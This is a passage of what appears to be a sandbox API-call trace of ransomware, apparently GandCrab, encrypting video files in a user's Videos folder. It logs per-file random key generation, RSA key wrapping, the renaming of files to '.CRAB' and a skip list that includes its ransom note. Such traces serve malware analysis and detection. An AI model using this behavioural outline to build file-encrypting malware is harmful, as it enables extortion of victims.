	[0134.089] CryptGetKeyParam (in: hKey=0x3249430, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.089] CryptEncrypt (in: hKey=0x3249430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.090] GetLastError () returned 0x0
	[0134.090] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.090] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.091] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32491f0) returned 1
	[0134.091] CryptGetKeyParam (in: hKey=0x32491f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.091] CryptEncrypt (in: hKey=0x32491f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.091] GetLastError () returned 0x0
	[0134.091] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.092] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-iWXN.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-iwxn.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.092] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.092] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.092] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x821b, lpOverlapped=0x0) returned 1
	[0134.108] VirtualAlloc (lpAddress=0x0, dwSize=0x8220, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.109] VirtualAlloc (lpAddress=0x0, dwSize=0x8220, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.110] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.110] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff7de5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.110] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x8220, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x8220, lpOverlapped=0x0) returned 1
	[0134.110] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.111] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.114] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.114] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.115] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.115] CloseHandle (hObject=0x3e8) returned 1
	[0134.115] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.115] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.115] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.116] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.116] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.116] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.116] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.116] lstrcmpW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2=".") returned 1
	[0134.116] lstrcmpW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="..") returned 1
	[0134.116] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="-R-Kl1rhFWl QDiX4m3m.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4"
	[0134.116] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.117] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4") returned 53
	[0134.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4") returned 53
	[0134.117] lstrlenW (lpString=".mp4") returned 4
	[0134.117] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.117] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0134.117] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4") returned 53
	[0134.117] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4") returned 53
	[0134.117] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="desktop.ini") returned 1
	[0134.117] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="autorun.inf") returned 1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="ntuser.dat") returned 1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="iconcache.db") returned 1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="bootsect.bak") returned 1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="boot.ini") returned 1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="ntuser.dat.log") returned 1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="thumbs.db") returned -1
	[0134.118] lstrcmpiW (lpString1="-R-Kl1rhFWl QDiX4m3m.mp4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.118] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.118] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB") returned 58
	[0134.118] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-r-kl1rhfwl qdix4m3m.mp4")) returned 0x20
	[0134.118] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4", dwFileAttributes=0x20) returned 1
	[0134.119] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-r-kl1rhfwl qdix4m3m.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-r-kl1rhfwl qdix4m3m.mp4.crab")) returned 1
	[0134.120] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.120] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB"
	[0134.120] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB.CRAB"
	[0134.120] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0134.122] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.122] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.122] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.122] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.122] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.122] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.123] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0134.124] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.124] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.124] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.124] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.124] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.125] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.125] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.125] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.126] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249230) returned 1
	[0134.126] CryptGetKeyParam (in: hKey=0x3249230, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.126] CryptEncrypt (in: hKey=0x3249230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0134.127] GetLastError () returned 0x0
	[0134.127] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.127] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0134.128] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3248df0) returned 1
	[0134.128] CryptGetKeyParam (in: hKey=0x3248df0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0134.128] CryptEncrypt (in: hKey=0x3248df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0134.129] GetLastError () returned 0x0
	[0134.129] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.129] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-R-Kl1rhFWl QDiX4m3m.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-r-kl1rhfwl qdix4m3m.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0134.129] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.129] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.130] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x11396, lpOverlapped=0x0) returned 1
	[0134.142] VirtualAlloc (lpAddress=0x0, dwSize=0x113a0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.143] VirtualAlloc (lpAddress=0x0, dwSize=0x113a0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0134.145] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.145] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffeec6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.146] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x113a0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x113a0, lpOverlapped=0x0) returned 1
	[0134.146] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.146] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.150] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.151] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0134.151] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0134.151] CloseHandle (hObject=0x3e8) returned 1
	[0134.151] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.151] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.151] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.152] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.152] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.152] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.152] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.152] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0134.152] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0134.152] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CRAB-DECRYPT.txt"
	[0134.152] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.153] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CRAB-DECRYPT.txt") returned 45
	[0134.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CRAB-DECRYPT.txt") returned 45
	[0134.153] lstrlenW (lpString=".txt") returned 4
	[0134.153] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.153] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0134.153] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CRAB-DECRYPT.txt") returned 45
	[0134.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\CRAB-DECRYPT.txt") returned 45
	[0134.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0134.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0134.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0134.153] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0134.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0134.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0134.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0134.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0134.154] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0134.154] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.154] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.154] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0134.154] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0134.154] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini"
	[0134.154] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.154] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini") returned 40
	[0134.154] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini") returned 40
	[0134.154] lstrlenW (lpString=".ini") returned 4
	[0134.155] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.155] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0134.155] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.155] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini") returned 40
	[0134.155] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\desktop.ini") returned 40
	[0134.155] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0134.155] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.155] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0134.155] lstrcmpW (lpString1="gYrk.flv", lpString2=".") returned 1
	[0134.155] lstrcmpW (lpString1="gYrk.flv", lpString2="..") returned 1
	[0134.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="gYrk.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv"
	[0134.156] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.156] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv") returned 37
	[0134.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv") returned 37
	[0134.156] lstrlenW (lpString=".flv") returned 4
	[0134.156] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.156] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.156] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv") returned 37
	[0134.156] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv") returned 37
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="desktop.ini") returned 1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="autorun.inf") returned 1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="ntuser.dat") returned -1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="iconcache.db") returned -1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="bootsect.bak") returned 1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="boot.ini") returned 1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="ntuser.dat.log") returned -1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="thumbs.db") returned -1
	[0134.157] lstrcmpiW (lpString1="gYrk.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.157] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.157] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB") returned 42
	[0134.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\gyrk.flv")) returned 0x20
	[0134.157] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv", dwFileAttributes=0x20) returned 1
	[0134.158] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\gyrk.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\gyrk.flv.crab")) returned 1
	[0134.159] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.159] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB"
	[0134.159] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\gYrk.flv.CRAB.CRAB"
	[0134.159] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0134.160] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.161] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.161] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0134.161] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.161] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.161] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e7c0) returned 1
	[0134.162] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.162] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.163] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.163] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0134.163] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0134.163] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.163] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.163] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.164] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
